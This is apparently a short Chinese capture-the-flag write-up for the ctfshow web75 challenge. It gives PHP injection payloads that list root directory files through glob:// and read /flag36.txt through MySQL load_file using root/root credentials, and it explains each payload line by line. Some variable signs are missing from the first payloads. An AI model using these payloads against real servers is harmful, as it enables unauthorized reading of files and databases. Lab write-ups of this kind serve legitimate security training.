ctfshow web75

开启环境:

先直接用伪协议获取 flag 位置

c=?><?php a=new DirectoryIterator("glob:///\*"); foreach(a as f) {echo(f->__toString().' ');} exit(0); ?>

c=try {dbh = new PDO('mysql:host=localhost;dbname=ctftraining', 'root', 'root');foreach(dbh->query('select load_file("/flag36.txt")') as row){echo(row[0])."|"; }dbh = null;}catch (PDOException e) {echo $e->getMessage();exit(0);}exit(0);

try {

创建 PDO 实例, 连接 MySQL 数据库

$dbh = new PDO('mysql:host=localhost;dbname=ctftraining', 'root', 'root');

在 MySQL 中,load_file(完整路径) 函数读取一个文件并将其内容作为字符串返回。

foreach(dbh-\>query('select load_file("/flag36.txt")') as row) {

echo($row[0])."|";

}

$dbh = null;

}

catch (PDOException $e) {

echo $e->getMessage();exit(0);

}

exit(0);

相关推荐
CYRUS_STUDIO1 小时前
一文搞懂 Frida Stalker:对抗 OLLVM 的算法还原利器
android·逆向·llvm
zcychong1 小时前
ArrayMap、SparseArray和HashMap有什么区别?该如何选择?
android·面试
CYRUS_STUDIO2 小时前
Frida Stalker Trace 实战:指令级跟踪与寄存器变化监控全解析
android·逆向
ace望世界7 小时前
android的Parcelable
android
顾林海7 小时前
Android编译插桩之AspectJ:让代码像特工一样悄悄干活
android·面试·性能优化
BingoGo7 小时前
PHP 如何利用 Opcache 来实现保护源码
后端·php
叽哥7 小时前
Flutter Riverpod上手指南
android·flutter·ios
循环不息优化不止7 小时前
安卓开发设计模式全解析
android
诺诺Okami7 小时前
Android Framework-WMS-层级结构树
android
alexhilton18 小时前
面向开发者的系统设计:像建筑师一样思考
android·kotlin·android jetpack